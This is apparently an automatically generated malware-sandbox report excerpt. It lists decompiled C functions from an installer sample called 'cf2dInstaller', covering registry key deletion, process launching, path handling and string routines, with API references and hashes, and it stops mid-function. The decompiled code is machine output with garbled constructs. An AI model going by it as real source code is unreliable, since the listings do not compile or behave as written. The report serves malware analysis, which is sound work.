GlobalFree.KERNEL32 ref: 10001CCD
GlobalFree.KERNEL32 ref: 10001CD2

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 16e7fc8dfb2109add019363551953530b2221b6c08ce197826e595f4a50a0593
Instruction ID: ec181f717125864b891e508b79773b0a6be540bcfc5555760108aa08b7b6b632
Opcode Fuzzy Hash: 16e7fc8dfb2109add019363551953530b2221b6c08ce197826e595f4a50a0593
Instruction Fuzzy Hash: DD510332D84159EBFB22CFA48880EEDB7E5EF812C4FA24159E801A311DD771EE009B52

Uniqueness

Uniqueness Score: -1.00%

Function 00402A36, Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A36(void* _a4, char* _a8, long _a12) {
				void* _v8;
				char _v272;
				signed char _t16;
				long _t18;
				long _t25;
				intOrPtr* _t27;
				long _t28;

				_t16 =  *0x42ec10; // 0x0
				_t18 = RegOpenKeyExA(_a4, _a8, 0, _t16 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						__eflags = _a12;
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							__eflags = 1;
							return 1;
						}
						_t25 = E00402A36(_v8,  &_v272, 0);
						__eflags = _t25;
						if(_t25 != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00405D2E(2);
					if(_t27 == 0) {
						__eflags =  *0x42ec10; // 0x0
						if(__eflags != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						__eflags = _t28;
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x42ec10, 0);
				}
				return _t18;
			}

0x00402a46
0x00402a57
0x00402a5f
0x00402a87
0x00402a6e
0x00402a71
0x00402ac1
0x00402ac7
0x00402ac9
0x00000000
0x00402ac9
0x00402a7e
0x00402a83
0x00402a85
0x00000000
0x00000000
0x00402a85
0x00402a9c
0x00402aa4
0x00402aab
0x00402ad1
0x00402ad7
0x00000000
0x00000000
0x00402adf
0x00402ae5
0x00402ae7
0x00000000
0x00000000
0x00000000
0x00402ae7
0x00000000
0x00402aba
0x00402ace

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A57
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
RegCloseKey.ADVAPI32(?), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AC1
RegDeleteKeyA.ADVAPI32 ref: 00402ADF

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: b26b43b9b7666f40e9fdb218fe96b22a79156d573bb7d5cc257a1d138f5a7564
Instruction ID: 324dab2b24170647655e9dcbeda369d8ff673eed47d89bab0de13a8960c84090
Opcode Fuzzy Hash: b26b43b9b7666f40e9fdb218fe96b22a79156d573bb7d5cc257a1d138f5a7564
Instruction Fuzzy Hash: 4F115675A00008FFEF31AF91DE49DAB7B6DEB40384B104436FA05B10A0DBB59E51AE69

Uniqueness

Uniqueness Score: -1.00%

Function 00404597, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78
stringCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404597(int _a4, intOrPtr _a8, unsigned int _a12) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t26;
				void* _t34;
				signed int _t36;
				signed int _t39;
				unsigned int _t46;

				_t46 = _a12;
				_push(0x14);
				_pop(0);
				_t34 = 0xffffffdc;
				if(_t46 < 0x100000) {
					_push(0xa);
					_pop(0);
					_t34 = 0xffffffdd;
				}
				if(_t46 < 0x400) {
					_t34 = 0xffffffde;
				}
				if(_t46 < 0xffff3333) {
					_t39 = 0x14;
					asm("cdq");
					_t46 = _t46 + 1 / _t39;
				}
				_push(E00405A2E(_t34, 0, _t46,  &_v36, 0xffffffdf));
				_push(E00405A2E(_t34, 0, _t46,  &_v68, _t34));
				_t21 = _t46 & 0x00ffffff;
				_t36 = 0xa;
				_push(((_t46 & 0x00ffffff) + _t21 * 4 + (_t46 & 0x00ffffff) + _t21 * 4 >> 0) % _t36);
				_push(_t46 >> 0);
				_t26 = E00405A2E(_t34, 0, 0x429fe0, 0x429fe0, _a8);
				wsprintfA(_t26 + lstrlenA(0x429fe0), "%u.%u%s%s");
				return SetDlgItemTextA( *0x42e338, _a4, 0x429fe0);
			}

0x0040459f
0x004045a3
0x004045ab
0x004045ae
0x004045af
0x004045b1
0x004045b3
0x004045b6
0x004045b6
0x004045bd
0x004045c3
0x004045c3
0x004045ca
0x004045d5
0x004045d6
0x004045d9
0x004045d9
0x004045e6
0x004045f1
0x004045f4
0x00404606
0x0040460d
0x0040460e
0x0040461d
0x0040462d
0x00404649

APIs

lstrlenA.KERNEL32(00429FE0,00429FE0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004044B7,000000DF,0000040F,00000400,00000000), ref: 00404625
wsprintfA.USER32 ref: 0040462D
SetDlgItemTextA.USER32 ref: 00404640

Strings

%u.%u%s%s, xrefs: 0040460F

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 578a37cc82449f790b84d9ba049d0e77a25ba7e856f263b49df89ba90d0e0462
Instruction ID: a73c68329ee831a229c644748369bffc84c82a565a353c3d841dc2820e0c3950
Opcode Fuzzy Hash: 578a37cc82449f790b84d9ba049d0e77a25ba7e856f263b49df89ba90d0e0462
Instruction Fuzzy Hash: 9911D0737001243BDB10A66D9C46EEF329ADBC6334F14023BFA25F61D1E9388C5286E8

Uniqueness

Uniqueness Score: -1.00%

Function 00404CFA, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CFA(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t22;

				if(_a8 != 0x102) {
					if(_a8 != 0x200) {
						_t22 = _a16;
						L7:
						if(_a8 == 0x419 &&  *0x429fc8 != _t22) {
							 *0x429fc8 = _t22;
							E00405A0C(0x429fe0, 0x42f000);
							E0040596A(0x42f000, _t22);
							E0040140B(6);
							E00405A0C(0x42f000, 0x429fe0);
						}
						L11:
						return CallWindowProcA( *0x429fd0, _a4, _a8, _a12, _t22);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t22 = _a16;
						goto L11;
					}
					_t22 = E00404679(_a4, 1);
					_a8 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00403E0A(0x413);
				return 0;
			}

0x00404d06
0x00404d2b
0x00404d4b
0x00404d4e
0x00404d51
0x00404d68
0x00404d6e
0x00404d75
0x00404d7c
0x00404d83
0x00404d88
0x00404d8e
0x00000000
0x00404d9e
0x00404d38
0x00404d8b
0x00404d8b
0x00000000
0x00404d8b
0x00404d44
0x00404d46
0x00000000
0x00404d46
0x00404d0c
0x00000000
0x00000000
0x00404d13
0x00000000

APIs

IsWindowVisible.USER32 ref: 00404D30
CallWindowProcA.USER32 ref: 00404D9E

Part of subcall function 00403E0A: SendMessageA.USER32(00060076,00000000,00000000,00000000), ref: 00403E1C

Strings

, xrefs: 00404D08
6898, xrefs: 00404D5C, 00404D66, 00404D74, 00404D82

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $6898
API String ID: 3748168415-1536232224
Opcode ID: 498d22ec92de87507460055f31d3341dd140a7d0c04a54d74523ea2b6bf50dd0
Instruction ID: b16bf2df46199d4e0f4b20eb531931f7d117dfa55111be6f57691eac5a9fa7e0
Opcode Fuzzy Hash: 498d22ec92de87507460055f31d3341dd140a7d0c04a54d74523ea2b6bf50dd0
Instruction Fuzzy Hash: 25114F71600218BBDB219F52DC41AAB3B69AF84365F00813FFA04B91E1C37D8D51CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040526C, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040526C(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x42bfe8->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x42bfe8,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405275
0x00405291
0x00405299
0x0040529e
0x00000000
0x004052a4
0x004052a8

APIs

CreateProcessA.KERNEL32 ref: 00405291
CloseHandle.KERNEL32(?), ref: 0040529E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040526C
Error launching installer, xrefs: 0040527F

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 3712363035-7751565
Opcode ID: dc33ac1254d82063a7b9e43172f0f507123e59eb9c5a5fd92b1179a08dc1bdb0
Instruction ID: 9c205d3d1494e9e4afb0e3639077779a104ecf70f113e6d393e41fe649cd8d97
Opcode Fuzzy Hash: dc33ac1254d82063a7b9e43172f0f507123e59eb9c5a5fd92b1179a08dc1bdb0
Instruction Fuzzy Hash: FBE0ECB4A04209ABEB00EF64ED09D7B7BBCEB00304B408522A911E2290D778E410CEB9

Uniqueness

Uniqueness Score: -1.00%

Function 004054FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054FF(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409010);
				}
				return _t7;
			}

0x00405500
0x00405517
0x0040551f
0x0040551f
0x00405527

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030E4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405505
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030E4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 0040550E
lstrcatA.KERNEL32(?,00409010), ref: 0040551F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004054FF

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: dfec000a3f5bf2671270dd29e8f8c50a5f72ee918dd093ba8f25731816a648b4
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: FCD0A972705A307ED2022A19AC06F8F2A88CF17301B044822F100B62D2C23C9E418FFE

Uniqueness

Uniqueness Score: -1.00%

Function 705512D0, Relevance: 6.4, APIs: 5, Instructions: 186
stringCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E705512D0(intOrPtr _a4, signed int _a8) {
				signed int _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _t79;
				intOrPtr _t80;
				signed int _t82;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr* _t99;
				intOrPtr _t100;
				signed int _t102;
				intOrPtr _t103;
				intOrPtr _t106;
				intOrPtr _t111;
				signed char _t116;
				signed int _t118;
				intOrPtr* _t125;
				signed int _t133;
				intOrPtr _t134;
				intOrPtr _t135;

				_t79 =  *((intOrPtr*)(_a4 + 4));
				if(_t79 == 0) {
					L52:
					return _t79;
				}
				_t99 =  *((intOrPtr*)(_t79 + 8));
				_v12 = _t99;
				if(_t99 == 0) {
					goto L52;
				}
				_t116 = _a8;
				_t133 = _t116 & 0x00000008;
				_v8 = _t133;
				while(1) {
					L4:
					_t125 =  *((intOrPtr*)(_t99 + 0xc));
					_t80 =  *((intOrPtr*)(_t99 + 4));
					_t97 =  *_t99;
					_v16 = _t80;
					if(_t125 == 0) {
						goto L41;
					}
					_t102 = _t116 & 0x00000002;
					_v20 = _t102;
					L7:
					while(1) {
						if(_t102 == 0) {
							if((_t116 & 0x00000001) == 0) {
								if((_t116 & 0x00000004) == 0) {
									if(_t133 == 0) {
										_t103 =  *((intOrPtr*)(_t125 + 4));
									} else {
										_t103 =  *_t125;
										_t80 = _t97;
									}
									_t118 = 0 |  *0x70553004(_t80, _t103) < 0x00000000;
									L34:
									_t82 = _t118;
									L35:
									if(_t82 == 0) {
										if(_v8 != 0 || (_a8 & 0x00000010) == 0) {
											 *((intOrPtr*)( *((intOrPtr*)(_t125 + 8)))) = _t97;
										}
										_t80 = _v16;
										_t99 = _v12;
										_t133 = _v8;
										 *((intOrPtr*)( *((intOrPtr*)(_t125 + 8)) + 4)) = _t80;
										_t116 = _a8;
										L50:
										_t100 =  *((intOrPtr*)(_t99 + 8));
										_v12 = _t100;
										if(_t100 != 0) {
											_t99 = _v12;
											goto L4;
										}
										return _t80;
									}
									if(_v8 != 0 || (_a8 & 0x00000010) == 0) {
										 *((intOrPtr*)( *((intOrPtr*)(_t125 + 8)))) =  *_t125;
									}
									_t133 = _v8;
									 *((intOrPtr*)( *((intOrPtr*)(_t125 + 8)) + 4)) =  *((intOrPtr*)(_t125 + 4));
									_t125 =  *((intOrPtr*)(_t125 + 0xc));
									_t116 = _a8;
									_t80 = _v16;
									if(_t125 != 0) {
										_t102 = _v20;
										continue;
									} else {
										_t99 = _v12;
										break;
									}
								}
								if(_t133 == 0) {
									_t106 =  *((intOrPtr*)(_t125 + 4));
								} else {
									_t106 =  *_t125;
									_t80 = _t97;
								}
								_t82 = 0 |  *0x7055300c(_t80, _t106) < 0x00000000;
								goto L35;
							}
							if((_t116 & 0x00000004) == 0) {
								if(_t133 == 0) {
									_t118 = 0 |  *0x70553004(_t80,  *((intOrPtr*)(_t125 + 4))) > 0x00000000;
								} else {
									_t118 = 0 |  *0x70553004(_t97,  *_t125) > 0x00000000;
								}
								goto L34;
							}
							if(_t133 == 0) {
								_t111 =  *((intOrPtr*)(_t125 + 4));
							} else {
								_t111 =  *_t125;
								_t80 = _t97;
							}
							_t82 = 0 |  *0x7055300c(_t80, _t111) > 0x00000000;
							goto L35;
						}
						if((_t116 & 0x00000001) == 0) {
							if(_t133 == 0) {
								_t134 = _t80;
								_t90 =  *((intOrPtr*)(_t125 + 4));
							} else {
								_t90 =  *_t125;
								_t134 = _t97;
							}
							_v24 = E705520DD(_t90);
							_t118 = 0 | E705520DD(_t134) - _v24 < 0x00000000;
							goto L34;
						}
						if(_t133 == 0) {
							_t135 = _t80;
							_t93 =  *((intOrPtr*)(_t125 + 4));
						} else {
							_t93 =  *_t125;
							_t135 = _t97;
						}
						_v24 = E705520DD(_t93);
						_t82 = 0 | E705520DD(_t135) - _v24 > 0x00000000;
						goto L35;
					}
					L41:
					if(_t133 != 0 || (_t116 & 0x00000010) == 0) {
						 *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)))) = _t97;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)) + 4)) = _t80;
					goto L50;
				}
			}

0x705512d6
0x705512de
0x705514aa
0x705514aa
0x705514aa
0x705512e4
0x705512e7
0x705512ec
0x00000000
0x00000000
0x705512f2
0x705512f9
0x705512fd
0x70551305
0x70551305
0x70551305
0x70551308
0x7055130b
0x7055130d
0x70551312
0x00000000
0x00000000
0x7055131a
0x7055131d
0x00000000
0x70551325
0x70551327
0x70551389
0x705513e0
0x70551404
0x7055146e
0x70551406
0x70551406
0x70551408
0x70551408
0x70551416
0x70551419
0x70551419
0x7055141b
0x7055141d
0x70551477
0x70551482
0x70551482
0x70551487
0x7055148a
0x7055148d
0x70551490
0x70551493
0x70551496
0x70551496
0x70551499
0x7055149e
0x70551302
0x00000000
0x70551302
0x00000000
0x705514a6
0x70551423
0x70551430
0x70551430
0x70551438
0x7055143b
0x7055143e
0x70551441
0x70551444
0x70551449
0x70551322
0x00000000
0x7055144f
0x7055144f
0x00000000
0x7055144f
0x70551449
0x705513e4
0x705513fd
0x705513e6
0x705513e6
0x705513e8
0x705513e8
0x705513f9
0x00000000
0x705513f9
0x7055138e
0x705513b2
0x705513d8
0x705513b4
0x705513c4
0x705513c4
0x00000000
0x705513b2
0x70551392
0x705513ab
0x70551394
0x70551394
0x70551396
0x70551396
0x705513a7
0x00000000
0x705513a7
0x7055132c
0x7055135d
0x70551365
0x70551367
0x7055135f
0x7055135f
0x70551361
0x70551361
0x70551371
0x7055137e
0x00000000
0x7055137e
0x70551330
0x70551338
0x7055133a
0x70551332
0x70551332
0x70551334
0x70551334
0x70551344
0x70551354
0x00000000
0x70551354
0x70551452
0x70551454
0x70551461
0x70551461
0x70551469
0x00000000
0x70551469

APIs

lstrcmpi.KERNEL32(?,?), ref: 7055139A
lstrcmp.KERNEL32(00000000,?), ref: 705513BA
lstrcmp.KERNEL32(?,?), ref: 705513CE
lstrcmp.KERNEL32(?,?), ref: 7055140C

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: lstrcmp$lstrcmpi
String ID:
API String ID: 2598518784-0
Opcode ID: 13f2691b020bf328345d046c628853807116b0e9521e974db618275fd4a2152d
Instruction ID: 8f7c2f1ea93e28f3edc5a5852f700186bf114c1d24f8a71dd37bd9eb63012a27
Opcode Fuzzy Hash: 13f2691b020bf328345d046c628853807116b0e9521e974db618275fd4a2152d
Instruction Fuzzy Hash: 1E616C75A02606DFCB05CF68C594A6EBFBBBF88310F26856AE81697740D730ED45CB84

Uniqueness

Uniqueness Score: -1.00%

Function 70551520, Relevance: 6.3, APIs: 5, Instructions: 71
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 31%

			E70551520(intOrPtr _a4) {
				void* _t12;
				void* _t15;
				void* _t17;
				intOrPtr _t24;
				void* _t26;
				void* _t27;

				_t24 = _a4;
				_t26 =  *0x70554020;
				if(_t26 == 0) {
					L3:
					_t12 = GlobalAlloc(0, 0x20);
					_t27 = _t12;
					_t15 = GlobalAlloc(0,  *0x70553008(_t24) + 1);
					 *_t27 = _t15;
					 *0x70553010(_t15, _t24);
					 *((intOrPtr*)(_t27 + 4)) = 0;
					 *((intOrPtr*)(_t27 + 8)) = 0;
					 *((intOrPtr*)(_t27 + 0xc)) = 0;
					 *((intOrPtr*)(_t27 + 0x10)) = 0;
					 *((intOrPtr*)(_t27 + 0x14)) = 0;
					 *((intOrPtr*)(_t27 + 0x18)) = 0;
					if( *0x70554020 != 0) {
						_t17 =  *0x70554024;
						 *(_t17 + 0x18) = _t27;
						 *0x70554028 =  *0x70554028 + 1;
						 *0x70554024 = _t27;
						 *(_t27 + 0x1c) = _t17;
						return _t27;
					} else {
						 *0x70554020 = _t27;
						 *0x70554024 = _t27;
						 *0x70554028 = 1;
						 *(_t27 + 0x1c) = 0;
						return _t27;
					}
				} else {
					while(1) {
						_push(_t24);
						_push( *_t26);
						if( *0x70553004() == 0) {
							E70551020(_t26);
							return _t26;
						}
						_t26 =  *(_t26 + 0x18);
						if(_t26 != 0) {
							continue;
						} else {
							goto L3;
						}
						goto L7;
					}
				}
				L7:
			}

0x70551524
0x70551528
0x70551533
0x7055154e
0x70551551
0x70551558
0x70551563
0x7055156b
0x7055156d
0x70551573
0x70551576
0x70551579
0x7055157c
0x7055157f
0x70551582
0x7055158b
0x705515ad
0x705515b2
0x705515b5
0x705515bb
0x705515c1
0x705515ca
0x7055158d
0x7055158d
0x70551593
0x70551599
0x705515a3
0x705515ac
0x705515ac
0x00000000
0x70551535
0x70551537
0x70551538
0x70551541
0x705515cc
0x705515da
0x705515da
0x70551547
0x7055154c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x7055154c
0x70551535
0x00000000

APIs

lstrcmp.KERNEL32(00000000,?), ref: 70551539
GlobalAlloc.KERNEL32(00000000,00000020,00000000,00000000,?,?,705519FC,00000000), ref: 70551551
lstrlen.KERNEL32(?,?,705519FC,00000000), ref: 7055155A
GlobalAlloc.KERNEL32(00000000,00000001,?,705519FC,00000000), ref: 70551563
lstrcpy.KERNEL32(00000000,?), ref: 7055156D

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: AllocGlobal$lstrcmplstrcpylstrlen
String ID:
API String ID: 2936489718-0
Opcode ID: bf711f3a48f13b44511f7e2e7c7b1a6e77babd2150cc7d33346de645c46c6386
Instruction ID: 63a082ecde17cea4a3619b4f43259ff82c3563081b553a0d7fa82ab176d6792b
Opcode Fuzzy Hash: bf711f3a48f13b44511f7e2e7c7b1a6e77babd2150cc7d33346de645c46c6386
Instruction Fuzzy Hash: 3F2154B39047109FC3218F9ADC48656FBFDFBA8666330051BE64AC76B0D3B0A8458F94

Uniqueness

Uniqueness Score: -1.00%

Function 02F91329, Relevance: 6.1, APIs: 4, Instructions: 62
stringCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E02F91329(CHAR* _a4, int _a8, intOrPtr _a12) {
				struct tagRECT _v20;
				char _t31;
